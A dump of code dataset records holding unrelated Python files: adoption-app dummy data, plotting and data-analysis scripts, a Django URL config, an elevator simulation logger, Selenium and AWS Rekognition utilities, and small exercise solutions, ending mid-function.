'8951245',\r\n 'email': 'kbf@gmail.com'\r\n },\r\n {\r\n 'mobile_no': '09558813016',\r\n 'telephone_no': '5627856',\r\n 'email': 'jdc@gmail.com'\r\n },\r\n {\r\n 'mobile_no': '09056448956',\r\n 'telephone_no': '2589631',\r\n 'email': 'mmo@gmail.com'\r\n },\r\n {\r\n 'mobile_no': '09324589635',\r\n 'telephone_no': '5896321',\r\n 'email': 'jmr@gmail.com'\r\n }\r\n]\r\n\r\ncca = [\r\n {\r\n 'name': 'Kaisahang Buhay Foundation, Inc.',\r\n 'street': '10th Ave.',\r\n 'city': 'Quezon City',\r\n 'province': 'Metro Manila'\r\n }\r\n]\r\n\r\nadoptive = [\r\n {\r\n 'firstname': 'Juan',\r\n 'lastname': 'dela Cruz',\r\n 'middlename': 'Mercado',\r\n 'birthdate': datetime.datetime(1986, 9, 1, 12, 56, 21, 212671),\r\n 'birthplace': 'Cavite',\r\n 'age': 33,\r\n 'street': 'Maligaya',\r\n 'city': 'Quezon City',\r\n 'province': 'Metro Manila',\r\n 'country': 'Philippines',\r\n 'gender': 'M',\r\n 'religion': 'Catholic',\r\n 'educ_attainment': 'MBA',\r\n 'school': 'DLSU Taft',\r\n 'occupation': 'Department Chief',\r\n 'occupation_location': 'Makati',\r\n 'citizenship': 'Filipino',\r\n 'contact_id': 6,\r\n 'marriage_date': datetime.datetime(2019, 9, 1, 12, 56, 21, 212702),\r\n 'marriage_city': 'Antipolo',\r\n 'marriage_province': 'Rizal',\r\n 'country_origin': 'Philippines',\r\n 'referred_by_id': 2\r\n },\r\n {\r\n 'firstname': 'Angel',\r\n 'lastname': 'Locsin',\r\n 'middlename': 'Santos',\r\n 'birthdate': datetime.datetime(1988, 9, 1, 12, 56, 21, 212671),\r\n 'birthplace': 'Batangas',\r\n 'age': 31,\r\n 'street': 'Maligaya',\r\n 'city': 'Quezon City',\r\n 'province': 'Metro Manila',\r\n 'country': 'Philippines',\r\n 'gender': 'F',\r\n 'religion': 'Catholic',\r\n 'educ_attainment': 'MA Ed.',\r\n 'school': 'DLSU Taft',\r\n 'occupation': 'Teacher',\r\n 'occupation_location': 'Juan Sumulong Elementary',\r\n 'citizenship': 'Filipino',\r\n 'contact_id': 5,\r\n 'marriage_date': datetime.datetime(2019, 9, 1, 12, 56, 21, 212702),\r\n 'marriage_city': 'Antipolo',\r\n 'marriage_province': 'Rizal',\r\n 'country_origin': 'Philippines',\r\n 'referred_by_id': 2 \r\n }\r\n]\r\n\r\nbiological = [\r\n {\r\n 'firstname': 'Jocelyn',\r\n 'lastname': 'Timuat',\r\n 'middlename': 'delos Santos',\r\n 'birthdate': datetime.datetime(1970, 4, 17, 12, 56, 21, 212671),\r\n 'birthplace': 'Makati',\r\n 'age': 48,\r\n 'street': 'Maligaya',\r\n 'city': 'Antipolo',\r\n 'province': 'Rizal',\r\n 'country': 'Philippines',\r\n 'gender': 'F',\r\n 'religion': 'Catholic',\r\n 'educ_attainment': 'CPA',\r\n 'school': 'PLM',\r\n 'occupation': 'Accountant',\r\n 'occupation_location': 'Makati',\r\n 'citizenship': 'Filipino',\r\n 'contact_id': 3,\r\n 'referred_by_id': 2 \r\n },\r\n {\r\n 'firstname': 'Melchor',\r\n 'lastname': 'Olivo',\r\n 'middlename': 'Mendoza',\r\n 'birthdate': datetime.datetime(1967, 11, 13, 12, 56, 21, 212671),\r\n 'birthplace': 'Ormoc',\r\n 'age': 50,\r\n 'street': 'Maligaya',\r\n 'city': 'Antipolo',\r\n 'province': 'Rizal',\r\n 'country': 'Philippines',\r\n 'gender': 'M',\r\n 'religion': 'Catholic',\r\n 'educ_attainment': 'Engr',\r\n 'school': 'ACSAT',\r\n 'occupation': 'Engineer',\r\n 'occupation_location': 'Mandaluyong',\r\n 'citizenship': 'Filipino',\r\n 'contact_id': 3,\r\n 'referred_by_id': 2 \r\n },\r\n]\r\n\r\nfoster = [\r\n {\r\n 'firstname': 'Josephine',\r\n 'lastname': 'Bracken',\r\n 'middlename': 'Hue',\r\n 'birthdate': datetime.datetime(1896, 4, 17, 12, 56, 21, 212671),\r\n 'birthplace': 'Makati',\r\n 'age': 48,\r\n 'street': 'Werner',\r\n 'city': 'Hamburg',\r\n 'province': 'Berlin',\r\n 'country': 'Germany',\r\n 'gender': 'F',\r\n 'religion': 'Catholic',\r\n 'educ_attainment': 'CPA',\r\n 'school': 'University of Zurich',\r\n 'occupation': 'Physicist',\r\n 'occupation_location': 'Makati',\r\n 'contact_id': 4,\r\n 'referred_by_id': 2 \r\n },\r\n {\r\n 'firstname': 'Jose',\r\n 'lastname': 'Rizal',\r\n 'middlename': 'Mercado',\r\n 'birthdate': datetime.datetime(1832, 11, 13, 12, 56, 21, 212671),\r\n 'birthplace': 'Laguna',\r\n 'age': 50,\r\n 'street': 'Kabukiran',\r\n 'city': 'Calamba',\r\n 'province': 'Laguna',\r\n 'country': 'Philippines',\r\n 'gender': 'M',\r\n 'religion': 'Catholic',\r\n 'educ_attainment': 'Dr',\r\n 'school': 'UST',\r\n 'occupation': 'Doctor',\r\n 'occupation_location': 'Manila',\r\n 'contact_id': 4,\r\n 'referred_by_id': 2 \r\n },\r\n]","sub_path":"adoption_ms/dummy_data.py","file_name":"dummy_data.py","file_ext":"py","file_size_in_byte":6171,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"461952946","text":"#!/usr/bin/env python\n# vim: set fileencoding=utf-8 :\n#\n# Author: Alisue (lambdalisue@hashnote.net)\n# URL: http://hashnote.net/\n# Date: 2013-07-18\n#\n# (C) 2013 hashnote.net, Alisue\n#\nimport numpy as np\nimport matplotlib.pyplot as pl\n\n\ndef histogram(hist, bins, transposition=False, **kwargs):\n \"\"\"\n Plot histogram by `hist`, `bins`\n\n Arguments:\n hist -- the values of the histogram\n bins -- bin edges\n **kwargs -- kwargs of `matploblib.pyplot.bar` function\n\n Note:\n `hist` and `bins` are returning values of\n `labst.statistics.histogram.histogram` function\n \"\"\"\n # calculate width of each bars by alpha\n alpha = 0.7\n width = alpha * (bins[1] - bins[0])\n # calculate the center point of entire histogram\n center = (bins[1:] + bins[:-1]) / 2\n # create new figure\n if not transposition:\n pl.bar(center, hist, align='center', width=width, **kwargs)\n else:\n pl.barh(center, hist, align='center', height=width, **kwargs)\n\n\ndef histogram2d(hist, xedges, yedges, bubbles=False, **kwargs):\n \"\"\"\n Plot 2D histogram scatter by `hist`, `xedges`, `yedges`\n\n Arguments:\n hist -- the values of the histogram\n xedges -- x bin edges\n yedges -- y bin edges\n bubbles -- If true, draw bubble instead of points\n **kwargs -- kwargs of `matploblib.pyplot.scatter` function\n\n Note:\n `hist`, `xedges` and `yedges` are returning values of\n `labst.statistics.histogram.histogram2d` function\n \"\"\"\n dx = xedges[1] - xedges[0]\n dy = yedges[1] - yedges[0]\n rdn = lambda: (1-(-1))*np.random.random() + -1\n points = []\n for (i, j), v in np.ndenumerate(hist):\n if bubbles:\n points.append((xedges[i], yedges[j], v))\n else:\n for m in range(int(v)):\n x = xedges[i] + rdn() * dx/6\n y = yedges[j] + rdn() * dy/6\n points.append((x, y))\n points = np.array(points)\n if bubbles:\n sub = pl.scatter(points[:,0], points[:,1],\n marker='o', s=128*points[:,2],\n **kwargs)\n else:\n # set default kwargs\n kwargs['marker'] = kwargs.get('marker', 'x')\n kwargs['s'] = kwargs.get('s', 64)\n sub = pl.scatter(points[:,0], points[:,1], **kwargs)\n\n\nif __name__ == '__main__':\n import labst.statistics.histogram\n # create sample data\n mu1, sigma1 = 100, 15\n mu2, sigma2 = 30, 5\n mu3, sigma3 = 50, 30\n X = np.r_[np.random.normal(mu1, sigma1, 500),\n np.random.normal(mu2, sigma2, 300),\n np.random.normal(mu3, sigma3, 200)]\n Y = np.r_[np.random.normal(mu1, sigma1, 500),\n np.random.normal(mu2, sigma2, 300),\n np.random.normal(mu3, sigma3, 200)]\n\n # 1D Histogram\n k = labst.statistics.histogram.rice_rule(X)\n hist, bins = labst.statistics.histogram.histogram(X, bins=k)\n pl.subplot(121)\n histogram(hist, bins, color='black', alpha=0.7)\n pl.xlabel('X')\n pl.ylabel('Frequency')\n pl.grid()\n pl.subplot(122)\n histogram(hist, bins, transposition=True, color='black', alpha=0.7)\n pl.ylabel('X')\n pl.xlabel('Frequency')\n pl.grid()\n\n # 2D Histogram\n k1 = labst.statistics.histogram.rice_rule(X)\n k2 = labst.statistics.histogram.rice_rule(Y)\n hist, xedges, yedges = labst.statistics.histogram.histogram2d(X, Y, bins=(k1, k2))\n pl.figure()\n pl.subplot(121)\n histogram2d(hist, xedges, yedges, color='black', alpha=0.7)\n pl.xlabel('X')\n pl.ylabel('Y')\n pl.grid()\n pl.subplot(122)\n histogram2d(hist, xedges, yedges, bubbles=True, color='black', alpha=0.7)\n pl.xlabel('X')\n pl.ylabel('Y')\n pl.grid()\n\n pl.show()\n","sub_path":"src/labst/plot/histogram.py","file_name":"histogram.py","file_ext":"py","file_size_in_byte":3726,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"578187614","text":"'''\r\n Author:Lu Fanshen\r\n Function:Homework\r\n Version:1\r\n Date:\r\n Comments:\r\n'''\r\n\r\nimport pandas as pd\r\na = [1,2,3,4,5]\r\nb = ['mayi','jack','tom','rain','hanmeimei']\r\nc = [18,21,25,19,23]\r\nd = [99,89,95,80,81]\r\ndata = pd.DataFrame({'NO.':a,'Name':b,'age':c,'score':d})\r\ndata.to_csv('homework2.csv',index=False)\r\ndata = pd.read_csv('homework2.csv')","sub_path":"homework2.py","file_name":"homework2.py","file_ext":"py","file_size_in_byte":363,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"282483543","text":"import argparse\nimport logging\nimport time\n\nfrom ptlib.dataloaders import FashionDataManager as DataManager\nfrom ptlib.models import SimpleConvNet as Model\nfrom ptlib.trainers import VanillaTrainer as Trainer\nfrom ptlib.utils import get_logging_level\nfrom ptlib.utils import log_function_args\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--batch-size', default=32, type=int, help='batch size')\nparser.add_argument('--ckpt-path', default='ckpt.tar', type=str,\n help='checkpoint path')\nparser.add_argument('--data-dir', default='', type=str, help='data dir')\nparser.add_argument('--log-freq', default=100, type=int,\n help='logging frequency')\nparser.add_argument('--log-level', default='INFO', type=str,\n help='log level (DEBUG/INFO/WARNING/ERROR/CRITICAL)')\nparser.add_argument('--num-epochs', default=100, type=int,\n help='number of epochs')\nparser.add_argument('--short-test', default=False, action='store_true',\n help='do a short test of the code')\nparser.add_argument('--show-progress', default=False, action='store_true',\n help='print tdqm and other output')\nparser.add_argument('--tnsrbrd-out-dir', default='/tmp/fashion/tnsrbrd',\n type=str, help='tensorboardX output dir')\n\n\ndef main(\n batch_size, ckpt_path, data_dir, log_freq, log_level, num_epochs,\n short_test, show_progress, tnsrbrd_out_dir\n):\n logfilename = 'log_' + __file__.split('/')[-1].split('.')[0] \\\n + str(int(time.time())) + '.txt'\n print('logging to: {}'.format(logfilename))\n logging.basicConfig(\n filename=logfilename, level=get_logging_level(log_level),\n format='%(asctime)s - %(name)s - %(levelname)s - %(message)s'\n )\n LOGGER = logging.getLogger(__name__)\n LOGGER.info(\"Starting...\")\n LOGGER.info(__file__)\n log_function_args(vars())\n\n # set up a data manager and a model\n data_manager = DataManager(data_dir=data_dir)\n data_manager.make_means()\n model = Model()\n\n # create a trainer with data handler and model\n trainer = Trainer(\n data_manager, model, ckpt_path, tnsrbrd_out_dir,\n log_freq=log_freq, show_progress=show_progress)\n trainer.restore_model_and_optimizer()\n\n # run training\n trainer.train(num_epochs, batch_size, short_test)\n\n\nif __name__ == '__main__':\n args = parser.parse_args()\n main(**vars(args))\n","sub_path":"vanilla_fashion.py","file_name":"vanilla_fashion.py","file_ext":"py","file_size_in_byte":2436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"337817931","text":"'''\nmodIndexCalc.py\nFinds modulation idex for all cells for switching task.\n'''\n\nimport allcells_MI_test017 as allcells\nfrom jaratoolbox import loadbehavior\nfrom jaratoolbox import settings\nfrom jaratoolbox import ephyscore\nimport os\nimport numpy as np\nfrom jaratoolbox import loadopenephys\nfrom jaratoolbox import spikesanalysis\nfrom jaratoolbox import extraplots\nimport matplotlib.pyplot as plt\n\nSAMPLING_RATE=30000.0\nsoundTriggerChannel = 0 # channel 0 is the sound presentation, 1 is the trial\nbinWidth = 0.010 # Size of each bin in histogram in seconds\nFrequency = 1 #This chooses which frequency to look at, numbered out of possible frequencies starting with the lowest frequency as number 0\ncountTimeRange = [0,0.1] #time range in which to count spikes for modulation index\n\ntimeRange = [-0.2,0.8] # In seconds. Time range for rastor plot to plot spikes (around some event onset as 0)\n\nephysRootDir = settings.EPHYS_PATH\n\nexperimenter = 'santiago'\nparadigm = '2afc'\n\nnumOfCells = len(allcells.cellDB) #number of cells that were clustered on all sessions clustered\n\n\nmodIndexArray = np.empty(numOfCells)\nfor cellID in range(0,numOfCells):\n oneCell = allcells.cellDB[cellID]\n\n\n subject = oneCell.animalName\n behavSession = oneCell.behavSession\n ephysSession = oneCell.ephysSession\n ephysRoot = os.path.join(ephysRootDir,subject)\n\n # -- Load Behavior Data --\n behaviorFilename = loadbehavior.path_to_behavior_data(subject,experimenter,paradigm,behavSession)\n bdata = loadbehavior.BehaviorData(behaviorFilename)\n\n # -- Load event data and convert event timestamps to ms --\n ephysDir = os.path.join(ephysRoot, ephysSession)\n eventFilename=os.path.join(ephysDir, 'all_channels.events')\n events = loadopenephys.Events(eventFilename) # Load events data\n eventTimes=np.array(events.timestamps)/SAMPLING_RATE #get array of timestamps for each event and convert to seconds by dividing by sampling rate (Hz). matches with eventID and \n\n soundOnsetEvents = (events.eventID==1) & (events.eventChannel==soundTriggerChannel)\n\n # -- Load Spike Data From Certain Cluster --\n spkData = ephyscore.CellData(oneCell)\n spkTimeStamps = spkData.spikes.timestamps\n\n eventOnsetTimes = eventTimes[soundOnsetEvents]\n\n rightward = bdata['choice']==bdata.labels['choice']['right']\n leftward = bdata['choice']==bdata.labels['choice']['left']\n invalid = bdata['outcome']==bdata.labels['outcome']['invalid']\n correct = bdata['outcome']==bdata.labels['outcome']['correct']\n correctRightward = rightward & correct\n correctLeftward = leftward & correct\n\n possibleFreq = np.unique(bdata['targetFrequency'])\n oneFreq = bdata['targetFrequency'] == possibleFreq[Frequency]\n\n trialsToUseRight = correctRightward & oneFreq\n trialsToUseLeft = correctLeftward & oneFreq\n\n\n trialsEachCond = np.c_[invalid,trialsToUseRight,trialsToUseLeft]; colorEachCond = ['0.75','g','r']\n\n\n (spikeTimesFromEventOnset,trialIndexForEachSpike,indexLimitsEachTrial) = \\\n spikesanalysis.eventlocked_spiketimes(spkTimeStamps,eventOnsetTimes,timeRange)\n\n spikeCountMat = spikesanalysis.spiketimes_to_spikecounts(spikeTimesFromEventOnset,indexLimitsEachTrial,countTimeRange)\n\n spikeCountEachTrial = spikeCountMat.flatten()\n spikeAvgRight = sum(spikeCountEachTrial[trialsToUseRight])/float(sum(trialsToUseRight))\n spikeAvgLeft = sum(spikeCountEachTrial[trialsToUseLeft])/float(sum(trialsToUseLeft))\n if ((spikeAvgRight + spikeAvgLeft) == 0):\n modIndexArray[cellID] = 0\n else:\n modIndexArray[cellID] = (spikeAvgRight - spikeAvgLeft)/(spikeAvgRight + spikeAvgLeft)\n \n\n\nmodIndBinVec = np.arange(-1,1,binWidth)\nbinModIndexArray = np.empty(len(modIndBinVec))\nfor binInd in range(len(modIndBinVec)-1):\n binModIndexArray[binInd] = len(np.where((modIndexArray >= modIndBinVec[binInd]) & (modIndexArray < modIndBinVec[binInd+1]))[0])\nbinModIndexArray[-1] = len(np.where(modIndexArray >= modIndBinVec[-1])[0])\n\n\nplt.clf() \n\nmodIndBinVec\nplt.bar(modIndBinVec,binModIndexArray,width = binWidth)\n\nplt.xlabel('Time from sound onset (s)')\nplt.ylabel('Firing rate (spk/sec)')\n\nplt.show()\n\n","sub_path":"oldjaratest/billy/scripts/oldScripts/modIndexCalc.py","file_name":"modIndexCalc.py","file_ext":"py","file_size_in_byte":4145,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"386093788","text":"from nltk.corpus import stopwords\nfrom nltk.stem.wordnet import WordNetLemmatizer \nfrom nltk.stem.porter import PorterStemmer \nimport string\n\n## ------- Remove stop words from text -------- ##\ndef remove_stop(sentances,noise_list = None):\n \n sent_list = []\n if(noise_list is None):\n noise_list = set(stopwords.words('english'))\n for sent in sentances:\n words = sent.split() \n noise_free_words = [word for word in words if word.lower() not in noise_list] \n noise_free_text = \" \".join(noise_free_words) \n sent_list = sent_list + [noise_free_text]\n return sent_list\n\n## ------- lemmatize words in text -------- ##\ndef lemm_sent(sentances):\n sent_list = []\n lem = WordNetLemmatizer()\n# stem = PorterStemmer()\n for sent in sentances:\n words = sent.split() \n words_stemed = [lem.lemmatize(word, \"v\") for word in words]\n stemmed_text = \" \".join(words_stemed)\n sent_list = sent_list + [stemmed_text]\n return sent_list\n## ------- Remove indesired ponctuation -------- ##\ndef removePonct(sentances,pnt = None):\n sent_list = []\n if pnt is None:\n pnt = set(string.punctuation)\n for sent in sentances:\n s = ''.join(ch for ch in sent if ch not in pnt)\n sent_list = sent_list + [s]\n return sent_list\n ","sub_path":"text_cleaners.py","file_name":"text_cleaners.py","file_ext":"py","file_size_in_byte":1322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"334244225","text":"import requests\nimport sys\nimport os\n\nif __name__ == \"__main__\":\n if len(sys.argv) < 2:\n print(\"[!] Missing the day of the challange.\")\n else:\n if \"AOC_SESSION\" in os.environ:\n day_num = sys.argv[1]\n res = requests.get(\n f\"https://adventofcode.com/2020/day/{day_num}/input\",\n cookies={\"session\": os.environ[\"AOC_SESSION\"]},\n )\n if res:\n with open(\"input.in\", \"wb\") as f:\n size = f.write(res.content)\n print(f\"[!] Writing: {size}\")\n else:\n print(f\"[-] Error occured. {r.text}, {r.headers}\")\n else:\n print(\"[!] Missing AOC_SESSION environment variable.\")\n","sub_path":"fetchinput.py","file_name":"fetchinput.py","file_ext":"py","file_size_in_byte":740,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"8732193","text":"from django.urls import path\nfrom . import views\nfrom django.contrib.auth import views as auth_views\n\napp_name = \"dbms_project\"\nurlpatterns = [\n path('seatplan//',views.seat_plan,name=\"seatplan\"),\n path('seatplan/allseatplan',views.all_seat_plan,name=\"all_seat_plan\"),\n path('uploaded/',views.uploaded,name=\"redirection\"),\n path('details/',views.view_details,name=\"details\"),\n path('uploadexcelfile/',views.upload_excel_file,name=\"excelfileupload\"),\n path('upload/',views.upload,name='studentupload'),\n path('selectseatplan/',views.select_seat_plan,name=\"select_seat_plan\"),\n path('', views.exam_and_room, name = 'exam_and_room'),\n path('create_exam', views.exam_create, name=\"createExam\"),\n path('viewexam',views.view_exam,name=\"examviewer\"),\n path('login/', auth_views.LoginView.as_view(template_name='dbms_project/login.html'), name='login'),\n path('logout/', auth_views.LogoutView.as_view(template_name='dbms_project/logout.html'), name='logout'),\n]","sub_path":"server/dbms_project/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1011,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"345588641","text":"import pandas as pd\nfrom elev_sim.conf.log_conf import ELEVLOG_CONFIG, QUEUE_LOG_CONFIG\n\nclass Logger:\n def __init__(self, status=False):\n self.status = status\n self._log = list()\n self._df = None\n\n @property\n def df(self):\n if(self._df == None):\n self._df = pd.DataFrame(self._log)\n elif(self._df.shape[0] != len(self._log) or len(self._log) == 0):\n self._df = pd.DataFrame(self._log)\n\n return self._df\n\n def to_csv(self, export_path, preserveIndex=False):\n self.df.to_csv(export_path, index=preserveIndex)\n\n\nclass Elev_logger(Logger):\n def __init__(self, status):\n super().__init__(status)\n \n def log_arrive(self, elev_name, direction, floor, time):\n if(not self.status):\n return\n \n self._log.append({\n 'name' : elev_name,\n 'direction': direction,\n 'action' : ELEVLOG_CONFIG.ARRIVE,\n 'floor' : floor,\n 'time' : time\n })\n\n def log_idle(self, elev_name, floor, time):\n if(not self.status):\n return\n \n self._log.append({\n 'name' : elev_name,\n 'action': ELEVLOG_CONFIG.IDLE,\n 'floor' : floor,\n 'time' : time\n })\n\n def log_serve(self, elev_name, riderNumAfter, direction, floor, time):\n if(not self.status):\n return\n \n self._log.append({\n 'name' : elev_name, \n 'action' : ELEVLOG_CONFIG.SERVE,\n 'riderNumAfter': riderNumAfter,\n 'floor' : floor,\n 'direction' : direction,\n 'time' : time\n })\n\n\nclass Customer_logger(Logger):\n def __init__(self, status):\n super().__init__(status)\n \n def log(self, customer):\n if(not self.status):\n return\n\n self._log.append(vars(customer))\n\n @property\n def df(self):\n super().df\n\n if(self._df.shape[0] != 0):\n self._df['waiting_time'] = self._df['boarding_time'] - self._df['start_time']\n self._df['journey_time'] = self._df['leave_time'] - self._df['start_time']\n \n return self._df\n\n\nclass Queue_logger(Logger):\n def __init__(self, status):\n super().__init__(status)\n\n def log_inflow(self, riderNumAfter, floorIndex, direction, time):\n self._log.append({\n 'action' : QUEUE_LOG_CONFIG.INFLOW,\n 'riderNumAfter': riderNumAfter,\n \"floorIndex\" : floorIndex, \n \"direction\" : direction, \n \"time\" : time\n })\n\n def log_outflow(self, riderNumAfter, floorIndex, direction, time):\n self._log.append({\n 'action' : QUEUE_LOG_CONFIG.OUTFLOW,\n 'riderNumAfter': riderNumAfter,\n \"floorIndex\" : floorIndex, \n \"direction\" : direction, \n \"time\" : time\n })\n ","sub_path":"elev_sim/elevator/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":2999,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"287199860","text":"from selenium import webdriver\nimport time\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.support.ui import Select\n\ndef process_data(input_data):\n data = {}\n with open(input_data, \"r\") as f:\n for line in f:\n pdb = line.rstrip().split(\",\")[0]\n chain = line.rstrip().split(\",\")[1]\n data.setdefault(pdb, []).append(chain)\n return data\n\ndef runner(pdb, target_chain):\n driver = webdriver.Chrome(executable_path=\"/home/pepamengual/UEP_PPI/skempi/beatmusic/chromedriver\")\n website = \"http://babylone.ulb.ac.be/beatmusic/query.php\"\n driver.get(website)\n \n ### FIRST STEP ###\n pdb_box = driver.find_element_by_name(\"pdb\")\n pdb_box.send_keys(pdb)\n submit_button_1 = driver.find_element_by_css_selector('[value=\"Submit\"]')\n submit_button_1.click()\n \n ### SECOND STEP ###\n wait = WebDriverWait(driver, 100)\n wait.until(EC.presence_of_element_located((By.CLASS_NAME, 'pdbinfo')))\n pdb_info = driver.find_elements_by_css_selector(\".pdbinfo\")\n pdb_info = pdb_info[0].text\n chain_order = []\n for chain_info in pdb_info.split(\"\\n\"):\n if chain_info.startswith(\"Chain\"):\n chain_id = chain_info.split(\":\")[0].split(\"Chain \")[1]\n chain_order.append(chain_id)\n \n for i, chain in enumerate(chain_order):\n name = \"ch{}\".format(i)\n if chain == target_chain:\n value = 1\n else:\n value = 2\n action = \"input[type='radio'][name='{}'][value='{}']\".format(name, value)\n chain_button = driver.find_element_by_css_selector(action)\n chain_button.click()\n \n submit_button_2 = driver.find_element_by_css_selector('[value=\"Submit\"]')\n submit_button_2.click()\n \n ### THIRD STEP ####\n wait.until(EC.presence_of_element_located((By.CLASS_NAME, 'pdbinfo')))\n pdb_info = driver.find_elements_by_css_selector(\".pdbinfo\")\n pdb_info = pdb_info[0].text\n select_chain = \"\"\n for chain_info in pdb_info.split(\"\\n\"):\n if chain_info.startswith(\"Sequence-unique entity\"):\n chain_id = chain_info.split()[-1]\n if target_chain in chain_id:\n select_chain += chain_id\n \n select = Select(driver.find_element_by_name('sysmode'))\n select.select_by_value(select_chain)\n \n submit_button_3 = driver.find_element_by_css_selector('[value=\"Submit\"]')\n submit_button_3.click()\n\n ### FOURTH STEP ###\n result = []\n links = driver.find_elements_by_xpath(\"//a[@href]\")\n for link in links:\n link = link.get_attribute(\"href\")\n if \"results.php\" in link:\n result.append(link)\n driver.stop_client()\n driver.close()\n return result[-1]\n\ndef main():\n input_data = \"data.txt\"\n data = process_data(input_data)\n \n results = {}\n for pdb, list_of_chains in data.items():\n for target_chain in list_of_chains:\n result = runner(pdb, target_chain)\n print(pdb, target_chain, result)\n results.setdefault(pdb, {}).setdefault(target_chain, result)\n\n with open(\"chinofarmeo_automatik.txt\", \"w\") as f:\n for pdb, chains in results.items():\n for chain, result in chains.items():\n to_write = \"{} {} {}\".format(pdb, chain, result)\n f.write(to_write + \"\\n\")\nmain()\n","sub_path":"skempi/beatmusic/run_automatic_queries.py","file_name":"run_automatic_queries.py","file_ext":"py","file_size_in_byte":3455,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"454374215","text":"# https://leetcode-cn.com/problems/best-time-to-buy-and-sell-stock-with-transaction-fee/\n\nclass Solution:\n def maxProfit(self, prices: List[int], fee: int) -> int:\n if not prices: return 0\n empt = 0\n hold = -prices[0]\n for i in range(1, len(prices)):\n empt = max(empt, hold + prices[i] - fee) \n hold = max(hold, empt - prices[i])\n return empt\n ","sub_path":"Week_06/股票专题/714. 买卖股票的最佳时机含手续费.py","file_name":"714. 买卖股票的最佳时机含手续费.py","file_ext":"py","file_size_in_byte":422,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"590322181","text":"##此module為讀取本機檔案版,因此輸入的檔案位置需要自行調整 3Q\n\n# 讀取本機檔案識別\n# 檔名預設從1開始\n# 辨識臉部\ndef rekog(client, count = 1):\n\n imgfilename = 'E:/Cloud/OneDrive/課/人工智慧/pic/'+str(count)+'.jpg'\n with open(imgfilename, 'rb') as imgfile:\n imgbytes = imgfile.read()\n rekresp = client.detect_faces(Image={'Bytes': imgbytes}, Attributes=['ALL'])\n rekfd = rekresp['FaceDetails'][0]\n\n\n# 讀取本機檔案識別\n# 檔名預設從1開始\n# 如要計數,需要建立dict用以計數\n# 辨識情緒並計數\ndef emotions(client, count = 1):\n \n imgfilename = 'E:/Cloud/OneDrive/課/人工智慧/pic/'+str(count)+'.jpg'\n with open(imgfilename, 'rb') as imgfile:\n imgbytes = imgfile.read()\n rekresp = client.detect_faces(Image={'Bytes': imgbytes}, Attributes=['ALL'])\n rekfd = rekresp['FaceDetails'][0]\n \n for i in range(3):\n print(rekfd['Emotions'][i])\n emotion = rekfd['Emotions'][0]['Type']\n print(emotion)\n print(f'根據資料分析,照片中的人物應該屬於\"{emotion}\"心情狀態')\n # 計算情緒數量\n emotion_dict[emotion] += 1 \n print(emotion_dict)\n # 取最多單位的情緒\n most_emotion = max(emotion_dict, key = emotion_dict.get) \n print(f'目前最多的情緒是{most_emotion}')\n return most_emotion\n\n# This function will return bolling, if eyes are close, it return 'True'\ndef eyes_close(client, count = 1):\n\n imgfilename = 'E:/Cloud/OneDrive/課/人工智慧/pic/' + str(count) +'.jpg'\n with open(imgfilename, 'rb') as imgfile:\n imgbytes = imgfile.read()\n rekresp = client.detect_faces(Image={'Bytes': imgbytes}, Attributes=['ALL'])\n rekfd = rekresp['FaceDetails'][0] # 沒打[0]會跑錯\n eyes_close = rekfd['EyesOpen']['Value']\n return not eyes_close\n\n# This founction will return the number of people\ndef count_face(client, count=1): \n\n imgfilename = 'E:/Cloud/OneDrive/課/人工智慧/pic/' + str(count) + '.jpg'\n with open(imgfilename, 'rb') as imgfile:\n imgbytes = imgfile.read()\n rekresp = client.detect_faces(Image={'Bytes': imgbytes}, Attributes=['ALL'])\n rekfd = rekresp['FaceDetails']\n return (len(rekfd))\n\n# if have equipment on face, it will return true.\ndef detect_face_eqp(client, count=1):\n\n imgfilename = 'E:/Cloud/OneDrive/課/人工智慧/pic/'+str(count)+'.jpg'\n with open(imgfilename, 'rb') as imgfile:\n imgbytes = imgfile.read()\n rekresp = client.detect_protective_equipment(Image={'Bytes': imgbytes}, \n SummarizationAttributes={'MinConfidence':80, 'RequiredEquipmentTypes':['FACE_COVER', 'HAND_COVER', 'HEAD_COVER']})\n \n '''\n rekresp['Persons'][0]['BodyParts'][indices][\"EquipmentDetections\"]\n\n different indices can check different position' equipment. ###在全部部位都有被偵測到時才成立,因此會做大改########\n indices = 0 : FACE\n indices = 1 :LEFT_HAND\n indices = 2 :RIGHT_HANDx\n indices = 3 :HEAD\n\n '''\n dt_face_eqp = rekresp['Persons'][0]['BodyParts'][0][\"EquipmentDetections\"]\n \n return dt_face_eqp\n\n# if have equipment on head, it will return true.\n# if someone doesn't have equipment on head, it will print his Id and return false.\ndef detect_head_eqp(client, count=1):\n no_eqp_list = []\n imgfilename = 'E:/Cloud/OneDrive/課/人工智慧/pic/'+str(count)+'.jpg'\n with open(imgfilename, 'rb') as imgfile:\n imgbytes = imgfile.read()\n rekresp = client.detect_protective_equipment(Image={'Bytes': imgbytes}, \n SummarizationAttributes={'MinConfidence':80, 'RequiredEquipmentTypes':['FACE_COVER', 'HAND_COVER', 'HEAD_COVER']})\n\n persons = rekresp['Persons']\n for person in persons:\n Id = person['Id']\n print(Id)\n\n body_parts = person['BodyParts']\n\n if len(body_parts) == 0:\n print('\\t\\tNo body_part detected')\n \n else:\n for body_part in body_parts:\n # check have detected head.\n if 